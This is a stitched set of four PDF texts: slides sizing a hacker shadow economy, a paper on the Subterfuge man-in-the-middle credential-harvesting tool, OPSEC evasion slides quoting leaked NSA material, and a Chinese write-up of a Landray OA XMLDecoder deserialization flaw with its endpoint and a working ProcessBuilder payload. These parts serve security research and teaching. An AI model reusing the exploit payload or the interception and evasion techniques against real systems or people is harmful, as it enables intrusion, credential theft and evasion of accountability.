1,018.3 1,337.3 Manufacturing Total commodity output Total final uses (GDP) Total intermediate use Information Services and Other Manufacturing (Billions of Dollars) 17 Simplified 4-Sector Economy with Shadow Information Sector • Now consider two versions of the economy with an additional shadow information sector that accounts for either 1 or 3 percent of official information sector output. • In constructing this table, we do not change the other inter- industry transactions, even though these would likely change given the overall reconstitution of economic activity that would occur. • The 1 to 3 percent range comes from the OECD report Measuring the Non-Observed Economy: A Handbook (2002) and are based on their lower- and upper-bound estimates of the size of the hacker economy in developed countries. • For the 1-percent case, the following input-output table illustrates how industries interact in the production of goods and services. 18 Economy with Hacker Sector: 1-Percent Case (Billions of Dollars) 19,302.9 10,784.8 9,261.0 11.5 962.0 14,464.9 3,863.6 Total Industry Output 742.8 5.3 536.1 8,949.5 1,293.0 Value Added 19,302.9 10,784.8 8,518.2 6.2 425.9 5,515.5 2,570.6 Total Intermediate Inputs 11.9 6.2 5.8 2.0 1.3 2.2 0.3 Shadow Information Sector 784.7 404.2 380.5 1.3 131.3 215.9 32.0 Information 14,689.2 8,967.9 5,721.3 2.4 238.8 4,279.1 1,201.0 Services and Other 3,817.1 1,406.5 2,410.6 0.5 54.4 1,018.3 1,337.3 Manufacturing Total commodity output Total final uses (GDP) Total intermediate use Shadow Information Sector Information Services and Other Manufacturing 19 Discussion: 1-Percent Case • This hypothetical example shows possible interactions between the official and shadow economies. • 2002 GDP is higher by a little over one percent ($10.75 trillion) since we now include an an additional sector in the GDP calculation which were are now measuring. • This example only shows addition of shadow information sector. Other shadow sectors could be added. • This example does not show other kinds of burdens imposed on the economy, such as additional spending by firms to monitor and prevent hacking activity. • Spending by firms to offset hacking would show up as higher expenditures by industries on output produced by the official information sector and possibly on other sectors. 20 Economy with Hacker Sector: 3-Percent Case (Billions of Dollars) 19,549.0 11,010.7 9,291.7 34.6 975.3 14,646.4 3,889.9 Total Industry Output 753.5 15.9 546.8 9,126.7 1,318.6 Value Added 19,549.0 11,010.7 8,538.2 18.7 428.5 5,519.8 2,571.2 Total Intermediate Inputs 36.1 18.7 17.4 6.0 3.9 6.5 1.0 Shadow Information Sector 795.4 412.2 383.2 3.9 131.3 215.9 32.0 Information 14,871.5 9,145.5 5,726.0 7.2 238.8 4,279.1 1,201.0 Services and Other 3,846.1 1,434.4 2,411.6 1.6 54.4 1,018.3 1,337.3 Manufacturing Total commodity output Total final uses (GDP) Total intermediate use Shadow Information Sector Information Services and Other Manufacturing 21 Discussion: 3-Percent Case • 2002 GDP is higher by a little over three percent ($11.01 trillion) since we now include an an additional sector in the GDP calculation which were are now measuring. • These examples, though largely hypothetical, give us some sense of how adding a shadow information sector would affect the national income and product accounts using the IO framework. • We could also add additional shadow components of other industries. Illegal drug manufacturing would, for example require additional shadow agricultural and shadow manufacturing sectors (as well as possible wholesale and retail sectors). 22 Employment in the Hacker Economy • According to the US Bureau of Labor Statistics (BLS), 2007 employment in the entire information industry was a little over 3 million persons, which is somewhat less than the 3.4 million employed in 2002. • If we apply the one percent figure that was used above to estimate the size of the shadow economy, we get an estimate of 2002-shadow information industry employment of 33,950 persons. • The higher-end estimate of 3 percent of information industry output to estimate employment in the shadow information sector yields a 2002 estimate of a 101,850 persons, but the same caveats apply. • However, this estimate must be treated with caution; a better method of estimating employment might be to develop estimates from the bottom- up, i.e., based on estimates of employment in each of part of the shadow information sector and then combining these estimates. 23 Summary and Conclusions • One complication associated with developing reliable and stable estimates of the size of the hacker economy is that it is a sector that is in a continual state of flux; it changes as innovations occur in a highly innovative industry and the kinds of innovations that occur in the information sector are particularly difficult to forecast or foresee. • More detailed information on the different hacker activities could be obtained with additional research and these estimates could be integrated into the broader economic framework discussed here. • Progress on this front would also make measuring the burden that the various forms of hacking cause to the overall economy and to individual industries possible. • Additional analysis can include applying using the methodology developed here and refined further to other countries and using those comparisons to adjust estimates of trade between countries. This is not only important for improving the quality of information about comparative economic activity between countries, but could also see application in analyzing vulnerabilities to the US economy that result from hacker activity in foreign countries. 24 Selected References • Adam, Markus C. and Victor Ginsburg. 1985. “The Effects of Irregular Markets on Macroeconomic Policy: Some Findings for Belgium,” European Economic Review, 29:1, pp. 15-33. • Becker, Gary S. 1968. “Crime and Punishment: An Economic Approach.” Journal of Political Economy. 76, no. 2 (March/April), pp. 169-217. • Houston, John F. 1987. “Estimating the Size and Implications of the Underground Economy,” Working Paper 87-9, Federal Reserve Bank Philadelphia. • Johnson, Simon; Daniel Kaufmann, and Pablo Zoido-Lobatón. 1998. “Regulatory Discretion and the Unofficial Economy,” American Economic Review, 88:2, pp. 387-92. • Loayza, Norman V. 1997. “The Economics of the Informal Sector: A Simple Model and Some Empirical Evidence from Latin America.” World Bank Policy Research Department Working Paper 1727. • Organization for Economic and Cooperation and Development (OECD). 2002. Measuring the Non-Observed Economy: A Handbook. Paris, France. • Schneider, Frederick and Dominick H. Enste. 2000. “Shadow Economies: Size, Causes, and Consequences,” Journal of Economic Literature, Vol. XXXVIII (March), 77-114. • United Nations. 1999. Handbook of Input-Table Compilation and Analysis. New York.	pdf
Walk into Starbucks, plop down a laptop, click start, watch the credentials roll in. Enter Subterfuge, a Framework to take the arcane art of Man-in-the-Middle Attacks and make it as simple as point and shoot. Subterfuge demonstrates vulnerabilities in the ARP Protocol by harvesting credentials that go across the network, and even exploiting machines through race conditions. Now walk into a corporation… A rapidly-expanding portion of today’s Internet strives to increase personal efficiency by turning tedious or complex processes into a framework which provides instantaneous results. On the contrary, much of the information security community still finds itself performing manual, complicated tasks to administer and protect their computer networks. The purpose of this publication is to discuss a new Man-In-The-Middle attack tool called Subterfuge. Subterfuge is a simple but devastatingly effective credential- harvesting program, which exploits vulnerabilities in the inherently trusting Address Resolution Protocol. It does this in a way that even a non-technical user would have the ability, at the push of a button, to attack all machines connected to the network. Subterfuge further provides the framework by which users can then leverage a MITM attack to do anything from browser/service exploitation to credential harvesting, thus equipping information and network security professionals and enthusiasts alike with a sleek “push-button” security validation tool. Abstract: Christopher M. Shields r00t0v3rr1d3 Matthew M. Toussain 0sm0s1z “He who is prudent and lies in wait for an enemy who is not, will be victorious.” –-Sun Tzu Enter Subterfuge, a Framework for Man-in-the-Middle Attacks, where credentials are up for the taking. The Framework 4 Enter Subterfuge, an Easier Way to See the Unseen 1 The MITM Framework Give me the numbers. How bad is MITM really? The state of security on the Local Area Network and why you should be concerned. Walk into Starbucks, plop down a laptop, click start, watch the credentials roll in. Now walk into a corporation… 3 Background & Introduction Outline Introduction: Why Subterfuge? User-friendly network attack tools are quick to make national headlines due to the threat they pose and because, “in truth, the tools and techniques employed by hackers are extremely complex [1].” Firesheep, a Firefox web browser plugin, is just such a tool. It was designed to capture cookies created during the login process for secure web sites, and it does this at the push of a button. Firesheep’s push-button simplicity and overwhelming effectiveness led to its ubiquitous use by skilled professionals and non-skilled users alike, thus focusing attention on a fixable yet often-ignored error in web site implementation. The Subterfuge Project attempts to use the paradigm popularized by Firesheep, Armitage, and other user-friendly network attack tools to create a framework for Man-In-The-Middle (MITM) network attacks. A MITM attack uses eavesdropping to insert a malicious entity into the communication path between legitimate users on a network [2]. This entity can then masquerade as either of the legitimate users in order to capture sensitive information, like login credentials for a protected web site. Typically, a MITM attack requires a significant amount of complex, text-based configuration of numerous software programs. This complexity, combined with the virtually never-ending reports of stolen identities and online credential theft, makes the MITM attack a prime candidate for the creation of a user-friendly, simplified framework. Thus, we designed this framework to have a simple interface with minimal configuration requirements in order to appeal to skilled and non-skilled network security professionals and users. Subterfuge has a sleek web based interface to allow a user to deploy the software quickly and easily without editing sophisticated text-based configuration files. Subterfuge automates the configuration process or, alternately, streamlines it with a Graphical User Interface (GUI). It also allows the user to view a report of all the different credentials that were harvested. The ease with which the general populace would be able to use Subterfuge will demonstrate to information security professionals the dangers of MITM attacks on a large scale. Subterfuge is developed with the Python programming language and uses a SQLite database. ARPSpoof from the Dsniff suite is used to poison the target network. Subterfuge also uses SSLStrip to collect user credentials that were sent over a secure socket layer (SSL) web connection. The Subterfuge Project’s purpose is to demonstrate pervasive vulnerabilities in the ARP protocol… Setting up Subterfuge is Quick, Easy, and Intuitive. 2 Man-in-the-Middle Threat Analysis So what is the big deal? Well a study from Cornell University’s Center for Hospitality Research stated that over 90% of hotels provide wireless Internet access to their customers, and the vast majority of these access points are susceptible to ARP Poisoning Attacks [9]. There are two significant types of MITM attacks: Passive and Active. In a Passive attack, a hacker can observe what his victim is viewing, which allows the attacker to steal credentials and session cookies. In an Active attack, “the target is entirely controlled by the attacker, rather than being limited by the extent of the victim's browsing activity” [3]. Several major websites, such as Google and Facebook, have recently realized a significant blunder on their part in terms of browsing security for their users. Facebook used to encrypt solely the login traffic, which contained the username and password of the individual. Afterwards, the session returned to a regular, plain-text browsing session which could be intercepted and easily read by anyone who might be performing a MITM attack. In a paper on the security issues which are challenging Facebook, the need to “educate Facebook users about using secure socket layer (SSL) applications” is discussed as a prerequisite to protecting their users from identity theft [4]. In addition to web site design and implementation errors, the network Address Resolution Protocol (ARP) itself has residual vulnerabilities that are commonly exploited during a MITM attack. The extent to which computers on a local network rely on, and inherently trust the responses of, ARP messages is alarming. If ARP message processing remains uncontrolled, ARP sniffing and poisoning can occur, which means that an attacker can begin the process of masquerading as a legitimate user [5]. Current steps that the security community has made to secure ARP are woefully inadequate. Heightened awareness of the threat implicated by MITM attacks should become more commonplace amongst both computer users and security professionals. Current Deployment Complications The primary reason MITM is not seen as a greater threat to network security is because it is not as easy to implement as other attack vectors. There is no simplistic point-and-click framework to execute a standard MITM attack. Hacking tools in this arena are either very easy to use but difficult to configure and update (Firesheep), or they require a significant amount of configuration and are not intuitive (Ettercap). Therefore, such exploitation is not as commonplace as other, more popular attack vectors. Our framework will use the software ARPSpoof and SSLStrip, and will further automate the attack process and make it as simple as pushing a button. Software: ARPSpoof ARPSpoof is a simple tool that allows a user to masquerade as the network gateway by spamming ARP Packets. This causes their MAC Address to be associated with the IP address of the default gateway thereby initiating a MITM connection. ARPSpoof is unsupported as of 2001; however, it does have a Win32 port for cross-platform compatibility [8]. In the future Subterfuge will include its own module to ARP Cache Poison. The Subterfuge module will allow for more attack configuration options. Software: SSLStrip SSLStrip is another useful tool due to its ability to hijack HTTP (Hypertext Transfer Protocol, or web) traffic on a network, watch for HTTPS (HTTP-Secure) links and activity, and then map those links into look-alike HTTP links [7]. SSLStrip also provides a feature to supply a favicon which looks like a lock icon, giving the impression that the web connection is secure. SSLStrip is used transparently (i.e., without the user’s knowledge) to convert an encrypted SSL session into a standard, plaintext web session that can then be easily monitored. Stealing credentials and sessions becomes trivial at this point. SSLStrip is a difficult piece of software for the average security researcher to set up quickly, let alone an average web user. The configuration process requires the user to perform intricate changes to files on the host operating system in addition to setting up network routing rules with a separate program. Traceroute while under Man-in-the-Middle Attack: ARP: It’s Like Stealing Candy from a n00b 3 Motivation Man-in-the-Middle Attacks are a category of vulnerability against which most applicable systems are susceptible. They are and will remain this way because of their obscurity. Until MITM attacks are simplistic enough that even aspiring security professionals can easily leverage them against networks, manufacturers will continue to develop and distribute vulnerable equipment. With Subterfuge, it is possible to make knowledge of these vulnerabilities mainstream, beyond even the security community. Subterfuge can be the motivation that manufactures like Cisco need to build the protections that they have provided to their enterprise customers for years into the systems they sell the average consumer. The overall goal was to develop a tool that is sufficiently effective and easy to use in order to encourage the security community to focus on the massive vulnerability inherent in the Address Resolution Protocol. To achieve this result, we created a framework called Subterfuge, which allows even an average user to exploit the vulnerabilities in ARP on a local network. The most basic implementation of Subterfuge collects information and user credentials across an entire local area network and organizes the collected data into a SQLite Database. It does this through the automated utilization of the ARPSpoof and SSLStrip programs, both of which are publicly available. Subterfuge automatically manages its configuration file, yet allows more advanced users the ability to delve deeper into the MITM settings. This requires Subterfuge to detect the hardware and network configurations needed to initiate the attack. Additionally, Subterfuge is able to properly configure, set up, and deploy the SSLStrip software with little or no input required from the user. The tedious and difficult problem of properly configuring and executing these multiple pieces of software in unison is eased by the automation developed and included in the Subterfuge Project. This tool is deemed successful if a user is able to execute Subterfuge to collect user information and credentials on the network to which they are connected. Specifically, a Subterfuge user ought to be able to steal user credentials, without the victim’s knowledge, even when using a “secure” protocol such as HTTPS. Outcomes So what can it do? During preliminary testing, Subterfuge was able to capture login credentials from many websites to include: Yahoo Ebay Amazon Facebook Twitter In our test cases, the tool was even able to steal information transmitted over HTTPS. During these captures, sessions were successfully and near transparently degraded from HTTPS to HTTP. The victim, who was using the Google Chrome web browser, logged into Facebook.com and had their credentials stolen and displayed by the tool in plaintext. Indication of foul play was limited to a Uniform Resource Locator (URL) that stated www.facebook.com as opposed to https://www.facebook.com. No certificate errors were presented to the victim, and the victim was able to login just as they normally would. Thus, their login information was still stolen with effective transparency. Web Code Injection The Subterfuge Project includes a modified version of SSLStrip that takes advantage of its web proxy capabilities. Subterfuge’s modification allows the data to be tampered with before reaching the victims browser. In essence this allows us to inject arbitrary code into a victim’s browser session. This can be anything from a JavaScript alert message to an exploit like ms10_aurora. 4 Extensibility and the Framework Naturally, Man-in-the-Middle Attacks are not limited to mere credential fraud. Neither is Subterfuge. Basic usage of the tool will be to ARP Poison the LAN; however, from this perspective it is possible to initiate many attacks. The Framework will automatically gather credentials, but it can also do more. Subterfuge’s Plugin System allows for the usage of additional MITM functionality without the need to develop another security tool from scratch. Future Work There are numerous areas of future advancement for this framework. At a fundamental level, the framework can be expanded to include additional features to increase its effectiveness in testing and exploiting the vulnerabilities in the ARP protocol. This tool can also be modified to work as a payload to an exploitation framework such as Metasploit. Subterfuge could be deployed on a remote network to harvest the credentials of legitimate users silently and transparently and then report the information back to a command and control server. Current Progress The Subterfuge Project is currently in its beta phase. Plans for future development include modules for: Session Hijacking Race Conditions DNS Spoofing Wireless AP Suite Evilgrade Update Exploitation Module – Session Hijacking The session hijacking plugin will allow a user to masquerade as a victim within the session that was hijacked. Module – Race Conditions The race condition plugin will allow Subterfuge to return its own version of the web page that a user attempts to view. This modified version of the web page will contain a browser exploit, which can be used to attain arbitrary code execution on the victim’s machine. Module – DNS Spoofing The DNS spoofing plugin will allow Subterfuge to supply false DNS information to a victim’s machine causing them to be redirected to an alternate location. Module – Wireless AP Suite The Wireless AP Suite will have a number of extremely useful features, which will increase the functionality of Subterfuge. A user will be able to setup a fake access point through which a victim will connect, successfully creating a MITM situation. An advanced option would even listen for what computers in the nearby area are probing for and setup an access point spoofing networks the victims have previously connected to. This will allow the victim computers to connect to and route their traffic through Subterfuge without any user input. Module – Evilgrade Update Exploitation Evilgrade is a tool that allows a user to spoof an update server on the network. When a victim starts up a program such as iTunes it automatically looks to see if updates exist. Evilgrade steps into this process and sends the victim a malicious payload. Subterfuge will include a module that simplifies the process, and incorporates it into the framework. OS Compatibility The beta version of Subterfuge runs on Linux only; however, the creation of installer packages for the Windows and Mac operating systems will ensure the widespread use of the Subterfuge MITM Framework. 5 Custom ARP Spoof Tool The final version of Subterfuge will incorporate a custom-built Python ARP Spoofing Tool using Scapy to improve performance, increase stealth, and provide better MITM protection avoidance. This tool will replace ARPSpoof and allow for more advanced configurations and dynamic options to increase effectiveness, and engender the ability to thwart certain configurations of Cisco’s Dynamic ARP Inspection protection. It will also decrease network load and will allow the attack to hide more effectively amongst normal network traffic. Conclusion In conclusion, the Subterfuge Framework allows a user to circumvent many security protocols and policies on a computer network with ease and with devastating results to the victims. Credential harvesting can be one of the most difficult attacks to recover from as a corporation or an individual because the attacker has the legitimate information that is entered to authenticate a user. Furthermore, the modular structure of Subterfuge makes it extremely extensible. The simplicity and effectiveness offered by Subterfuge should drive the rate of its incorporation into the toolbox of network security practitioners. If this tool is released to the public and distributed, the wide-spread ease in which anyone on a computer network could be victimized by a non- technical user will have the desired effect of forcing the information security community to come up with a solution to the underlying problem – the trusting nature of the Address Resolution Protocol. The Framework: Poking Holes in ARP one Starbucks at a Time 6 The GUI: Subterfuge’s web based GUI uses AJAX and JQuery to leverage user input as commands. It then converses with a Django Backend to allow for the seamless execution of the python code that embodies the core of the project. Command Line Interface: The Command Line Interface (CLI) for Subterfuge allows users to quickly configure and run a MITM attack against a network. Interface Options 7 A Potential Solution: VLANs VLANs can provide network segmentation, which can prevent MITM attacks. Some routers put different hosts on different VLANs. In these cases the devices may be independent of MAC Addresses thereby preventing an ARP Poisoning Attack from occurring. If however, multiple hosts are on the same VLAN no additional protection is provided. 8 An ARP Cache Poison can modify a victim’s ARP Table: 9 “Creativity is inventing experimenting, growing, taking risks, breaking rules and having fun.” ~ Mary Lou Cook [1] Barber, R. (2011, August 30). Security Science. Retrieved from Computer Fraud & Security Volume 2001, Issue 3. [2] Kurose, J. and Ross, K. Computer Networking: A Top-Down Approach. 5th Edition. Addison-Wesley. Page 61 [3] Saltzman, R. (2011, August 30). Security Science. Retrieved from OWASP: http://www.security- science.com/pdf/active-man-in-the-middle.pdf [4] Leitch, S. (2009). Security Issues Challenging Facebook. Retrieved from Edith Cowan University Research Online: http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1017&context=ism&sei-redir=1#search=%22facebook%20secure%22 [5] Wagner, R. (2011, August 30). Address Resolution Protocol Spoofing and Man-in-the-Middle Attacks. Retrieved from http://savannah.gatech.edu/people/lthames/dataStore/WormDocs/arppoison.pdf [6] Norton, D. (2011). An Ettercap Primer. SANS Institute, 1-27. [7] Marlinspike, M. (2011, August 30). Blackhat. Retrieved from http://blackhat.com/presentations/bh-europe- 09/Marlinspike/blackhat-europe-2009-marlinspike-sslstrip-slides.pdf [8] Song, D. (2012, January 1). Dsniff Frequently Asked Questions. Retrieved from http://www.monkey.org/~dugsong/dsniff/faq.html [9] Ogle, J. and Wagner, E. (2012, March 8). Hotel Network Security: A Study of Computer Networks in U.S. Hotels. Retrieved from http://www.hotelschool.cornell.edu/research/chr/pubs/reports/abstract-14928.html References References Legacy: Demonstrating Need and Spurring Change There is an obvious need for change in routing equipment. While routers that incorporate VLANs and are thus protected against ARP Spoofing do exist, they are uncommon commodities. Manufactures have no real incentive to improve their equipment because the arcane art of Man-in- the-Middle Attacks is obscure enough that the average consumer is unconcerned, but they are not safe. Subterfuge uncovers the faults in ARP so easily that consumers of routers will be able to point at products and ask themselves, “Does this product protect me from Subterfuge? “This just might provide the impetus that manufactures should have had a decade ago. Hopefully, through demonstration of the pervasive vulnerabilities inherent in the ARP Protocol router manufacturers will be spurred into utilization of existing technologies to protect their users. Hopefully through demonstration of the pervasive vulnerabilities inherent in the ARP Protocol router manufactures will be spurred into utilization of existing technologies to protect against ARP Poisoning attacks. 10	pdf
Don’t Fuck It Up! Zoz jackdawsart.com Unjust laws exist: shall we be content to obey them, or shall we endeavor to amend them, and obey them until we have succeeded, or shall we transgress them at once? —Henry David Thoreau, Civil Disobedience FUCK IT UP * y o u * h a v e * b e e n * B S O D o m i z e d * y y o / \ \ / \ o u \| \| \ \| \| u * \| `. \| \| : * h ` \| \| \\| \| h a \ \| / / \\\ --__ \\ : a v \ \/ _--~~ ~--__\| \ \| v e \ \_-~ ~-_\ \| e * \_ \ _.--------.______\\| \| * b \ \______// _ ___ _ (_(__> \ \| b e \ . C ___) ______ (_(____> \| / e e /\ \| C ____)/ \ (_____> \|_/ e n / /\\| C_____) \| (___> / \ n * \| ( _C_____)\______/ // _/ / \ * B \| \ \|__ \\_________// (__/ \| B S \| \ \____) `---- --' \| S O \| \_ ___\ /_ _/ \| O D \| / \| \| \ \| D o \| \| / \ \ \| o m \| / / \| \| \ \| m i \| / / \__/\___/ \| \| i z \| / \| \| \| \| z e \| \| \| \| \| \| e d \| \| \| \| \| \| d * y o u * h a v e * b e e n * B S O D o m i z e d * On the Internet, everyone knows you like ASCII Goatse. ⇥⇤⌅⇧⌃⌥ Tradecraft Perceptual Biases Expectations Resistance Ambiguities Biases In Evaluating Evidence Consistency Missing Information Discredited Evidence Biases In Estimating Probabilities Availability Anchoring Overconﬁdence Biases In Perceiving Causality Rationality Attribution Tradecraft • Key Assumptions Check • Quality Of Information Check • Contrarian Techniques • Devil’s Advocacy • High Impact/Low Probability • “What If?” Analysis • Red Team OPSEC Identify Critical Info Analyze Threats Assess the Risks Apply Countermeasures Analyze Vulnerabilities The 7 Deadly Fuckups • Overconﬁdence • Trust • Perceived Insigniﬁcance • Guilt By Association • Packet Origin • Cleartext • Documentation Don’t Fuck It Up When You Use A VPN • Trafﬁc Encryption • Location Obfuscation • Request Concealment • ...Depending On Listener Location • ...Depending On Provider ⇥⇤⌅⇧⌃⌥ Remember: PPTP Broken As Of Don’t Fuck It Up When You Use Case Study: LulzSec/AntiSec IRC WITHOUT TOR... ...NOT EVEN ONCE • Don’t Fail Unsafe With Tor • Always Check What You’re Exposing • OPSEC Is 24/7 Moral: Case Study: Harvard Bomb Hoax WHAT AIN’T NO COUNTRY I EVER HEARD OF THEY SPEAK OPSEC IN WHAT? What Fucked It Up? • Harvard Network Registration • Outgoing Trafﬁc Logs • Pervasive Surveillance Microcosm • Moral: • Key Assumptions Check • High Impact/Low Probability Analysis • Bridge Relays • Trafﬁc Analysis Preparation Case Study: Silk Road/DPR What Fucked It Up? ? ale. able ice’s etely t of rrent dden elays crip- Figure 4. Hidden service descriptor request rate during one day. its usage statistics. As a proof of concept we used this approach to control one of the six hidden service directories of the discovered Tor botnet, the Silk Road hidden service, and the Duck- DuckGo hidden service. We tracked these for several days and obtained the following measurements: (1) The number of requests for the hidden service descriptor per day (see Tables I and II) and (2) the rate of requests over the course of a day, which is shown in Figure 4 (each point corresponds to the number of hidden service descriptor requests per one hour). C l 1 f T bl I d l 2 d 4 f T bl II ght from infosec/ t-from- Tor in a n NDSS System tor-talk] ject.org/ . Private 009. es prob- Markov pp. 140– LEVINE, passive mposium vices by uter and 7–36. servers. rity and [ 6] N , S., N U OC , S. J. p oved c oc skew measurement technique for revealing hidden services. In USENIX Security Symposium (2008), pp. 211–226. APPENDIX A. The Inﬂuence of Shadow Relays on the Flag Assignment During the second harvesting experiment we accidentally revealed an important artifact of the ﬂag assignment in Tor which is not obvious from the Tor speciﬁcations. Near the end of the experiment we were notiﬁed by the Tor developers that the Sybil attack had caused a spike in the number of relays assigned Fast ﬂags and Guard ﬂags (see Fig. 6) Figure 6. Increase in the number of Guard nodes. Biryukov, Pustogarov, Weinmann: Trawling for Tor Hidden Services: Detection, Measurement, Deanonymization, 2013 Don’t Fuck It Up When You Use The Phone • How Does Your Phone Betray You? Let Me Count The Ways... • Metadata • Location • Contacts • Networks • Unique Identiﬁers • Cookies • Searches • Weak Crypto • Repeated Access • Autoconnect (Pineapple’s BFF) • Apps • Pattern Of Life TOP SECRET//COMINT//REL TO USA, FVEY TOP SECRET//COMINT//REL TO USA, FVEY Example of Current Volumes and Limits 5 TOP SECRET//COMINT//REL TO USA, FVEY TOP SECRET//COMINT//REL TO USA, FVEY Dupe Methodology Compare records within various time windows that share identical selectors and locations, specifically: LAC CellID VLR DesigChannelID IMEI ESN IMSI MIN TMSI MDN CLI ODN MSISDN RegFMID CdFMID CgFMID RegGID CdGID RegIID Kc CdIID CgIID MSRN Rand Sres Opcode RQ1 XR1 Q_CK1 Q_IK1 AU1 NewPTMSI OSME DSME RTMSI PDP_Address TEID TLLI PTMSI PDDG 28 Perfect Scenario - Target uploading photo to a social media site taken with a mobile device. What can we get? TOP SECRETIICOMINT/REL TO USA, FVEY 11 • Examine settings of phone as well as service providers for geo-Iocation; specific to a certain • regIon • Networks connected • Websites visited • Buddy Lists • Documents Downloaded • Encryption used and supported • User Agents TOP SECRETIICOMINT/REL TO USA, FVEY 12 Targeting both Telephony and DNI systems • Call Logs • SMS • SIM Card Leads • Email address • IMEI/IMSI • Unique Identifiers • Blackberry PINS TOP SECRETIICOMINT/REL TO USA, FVEY 13 (U) Converged Analysis of Smartphone Devices Case Study: CIA/Abu Omar OCD OPSEC: Using A Burner Phone Without Fucking It Up • DO: • Advance Purchase • Register Far Away • Lie To Phone Companies • Stay Dumb • Remove Battery • Fake Contacts • Minimize Use • Move & Switch • Falsify Call Network • Purpose Equipment • Thou Shalt Always Kill OCD OPSEC: Using A Burner Phone Without Fucking It Up • DON’T EVER: • Co-Localize • Co-Activate • Co-Contact • Store Real Data • Match Entry/Exit • Bridge Online Metadata Don’t Fuck It Up When You Use Messaging • After All These Years, E-Mail Still Sucks • Spam Fighting Aids Tracking • Webmail Using HTTP • Weak Server-Side Storage • Encrypted Content Not Metadata • Insecure Client-Side Logging • Bad Retention Habits • Google • And IM Is Not Much Better • Psycho Ex Principle Threadworm in sheep intestine SECURITY BY OBSCURITY DOESN’T WORK TELL THAT TO THESE GUYS Case Study: CIA/Petraeus What Fucked It Up? • Technique Already Identiﬁed & Compromised • Pervasive Surveillance Designed To Expose Exactly This Type Of Access Correlation • Deleted Things Aren’t • Understand & Manage Insecure Channels • Quality Of Information Check, “What If?” Common Broken/Compromised Services • Commercial Webmail • Run Your Own Mailserver • Metadata’s Still A Bitch Common Broken/Compromised Services • Skype • PRISM, SIGINT Enabling, JTRIG, Forced “Upgrades”, Pre-MS EOL • Fuck Skype Common Broken/Compromised Services • Many Chats • Let’s Just Assume IRC Is All Collected • Why Not Grab 6667 Like 80? • TLS Only Protects You To The Server • QUANTUMBOT • GChat’s “Off The Record” Isn’t The Same As OTR • That First OTR Message ⇥⇤⌅⇧⌃⌥ ⇥⇤⌅⇧⌃⌥ What Might Not Be Completely Fucked • Some OTR Implementations (But Which Ones?) • Cryptocat? • Bitmessage? • Retroshare? • We Need More: • Auditing • Steganography So what if I’m a glasshole? You are too. Steganography: Hiding In Plain Sight Steganography: Hiding In Plain Sight ⇥⇤⌅⇧⌃⌥⌃ • Reported But Docs Not Released: • P2P Trafﬁc High Volume/Low Value • GCHQ TEMPORA Minimizes, 30% Ingest Reduction • Need To Hide In This Flood Scenario: @yahoo •  @yahoo.com has a number of Yahoo groups in his/her contact list, some with many hundreds or thousands of members •  At DS-200B in particular, collection spiked as: –  The initial spam messages were sent (and collected) –  Inboxes of email recipients were viewed by contact list –  Messages were sometimes viewed, but more often sent as precached views on Google and Yahoo (along with inboxes) –  Inboxes where the recipient did not delete the spam message continued to be collected every time they were viewed –  Some recipients added @yahoo.com to their address books (possibly as a spam defeat?) – address books were collected every time TOP SECRET//SI//NOFORN TOP SECRET//SI//NOFORN Scenario: @yahoo •  @yahoo.com emergency detasked from DS-200B and US-3171 at 13:04Z on 20 Oct •  Numerous first-order address books and inboxes collected meant tasked selectors on address books or buddy lists of contacts of @yahoo.com also affected: –  @yahoo.com and @gmail.com emergency detasked off US-3171 at 13:10Z on 20 Sep •  Memorializing to PINWALE only address books and inboxes owned by target selectors would have reduced PINWALE volumes 90%+ –  Site XKEYSCOREs would buffer data for SIGDEV purposes –  Metadata from known owner address books and inboxes stored regardless TOP SECRET//SI//NOFORN TOP SECRET//SI//NOFORN Steganography: Hiding In Plain Sight H4x0rz: Lose The Ego • Burner Rules For IDs • IRL Identity Real And Separate • Know & Compartmentalize Pseudonyms • Cred Is Another Enemy • Really Burn Them, No Really Don’t Fuck It Up, And After You Do: • Contingency Planning • Plausible Deniability • Adversary Capability • Seek Advice In Advance • Support Those Who Provide It • Good Luck & Never Surrender To Obedience Stylometrics: Don’t Fuck It Up • Resist Providing A Corpus • Obfuscate • Machine Translate • Imitate • Alpha Tools: JStylo/Anonymouth	pdf
早上起来刷了下朋友圈，看到了一个新漏洞蓝凌 OA 存在任意文件写入？？？蓝凌？？？？并且还有漏洞地址漏洞在/sys/search/sys_search_main/sysSearchMain.do 下面这里也给出了 method 为 editrParam。参数为 FdParameters 已经很明确了，那么复现一下。在 com.landray.kmss.sys.search.jar 中的 com.landray.kmss.sys.search.actions.SysSearchMainAction 类。 method 为 editrParam。看下流程。大概就是对 fdParemNames 的内容进行了判空。如果不为空。进入 SysSearchDictUtil.getParamConditionEntry 方法。其实这一步不重要。因为后面这一步也没啥用。就讲讲。。主要还是在 setParametersToSearchConditionInfo 方法。也是对 fdParemNames 进行了一次判空。然后传入 ObjectXML.objectXMLDecoderByString 方法。这里就是漏洞点了追过去就更好理解了。讲传入进来的 string 字符进行替换。然后讲其载入字节数组缓冲区，在传递给 objectXmlDecoder。。在 objectXmlDecoder 中。就更明显了。典型的 xmlDecoder 反序列化。整体流程只对 FdParameters 的内容进行了一些内容替换。导致 xmlDecoder 反序列化漏洞。本地 POC: Xmldecoder payload 生成 https://github.com/mhaskar/XMLDecoder-payload-generator 这里尝试打开文稿 pages.app(第一次用 mac，气质没跟上) Code: <?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>open</string></void><void index="1"><string>/Applications/Pages.app</string></void> </array> <void method="start" id="process"> </void> </void> </java> 当然，别多想。这是个后台洞。因为开放的白名单只有以下几个： /login.jsp; /resource/; /service/; //.index; /logout; /admin.do; /browser.jsp; /axis/; /kk; /forward.html; /sys/webservice/; /vcode.jsp;	pdf
